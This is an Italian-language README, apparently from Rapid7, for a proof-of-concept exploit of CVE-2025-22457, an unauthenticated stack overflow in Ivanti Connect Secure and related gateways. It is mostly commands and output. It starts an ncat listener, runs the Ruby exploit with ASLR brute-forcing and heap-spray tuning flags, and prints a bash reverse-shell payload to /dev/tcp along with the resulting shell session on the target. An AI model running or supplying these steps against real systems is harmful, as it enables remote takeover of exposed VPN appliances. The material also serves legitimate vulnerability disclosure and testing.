
PoC CVE-2025-22457
Un overflow del buffer stack remoto non autenticato che colpisce Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure e ZTA Gateways
Questo è un exploit proof of concept per dimostrare lo sfruttamento di CVE-2025-22457. Per un'analisi tecnica completa della vulnerabilità e della strategia di sfruttamento, consulta la nostra analisi Rapid7 qui:
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
Possiamo eseguire questo script contro un target Ivanti Connect Secure vulnerabile, versione 22.7r2.4, come segue:
Avvia un listener netcat per catturare la reverse shell.
C:\>ncat -lnvkp 8080
Esegui l'exploit e forza bruta ASLR (questo sarà lento).
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
Quando funziona, otterrai una reverse shell.
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
A seconda dell'hardware sottostante, il numero di CPU disponibili per l'appliance target determinerà il numero di processi figlio che il binario /home/bin/web genererà. Poiché tutte le richieste HTTPS in arrivo vengono distribuite uniformemente tra questi figli, dobbiamo tenerne conto ed eseguire lo heap spray un numero sufficiente di volte per tutti i processi figlio. Dobbiamo farlo perché quando inneschiamo la vulnerabilità, non possiamo sapere in quale processo figlio la innescheremo. Quindi abbiamo bisogno che lo heap spray sia presente in ogni processo figlio.
Ad esempio, in un appliance vulnerabile con root, esegui il seguente comando per vedere il numero di processi figlio /home/bin/web:
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
Puoi specificare il numero previsto di figli web tramite l'argomento --web_children, ad esempio:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
Se stai testando il PoC su un sistema locale, potresti voler evitare il brute force dell'indirizzo di base di libdsplibs. In questo scenario, puoi passare un indirizzo di base noto al PoC tramite l'argomento --libdsplibs. Ad esempio, in un appliance vulnerabile con root, esegui quanto segue:
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
Quindi puoi passare l'indirizzo di base noto al PoC come segue:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...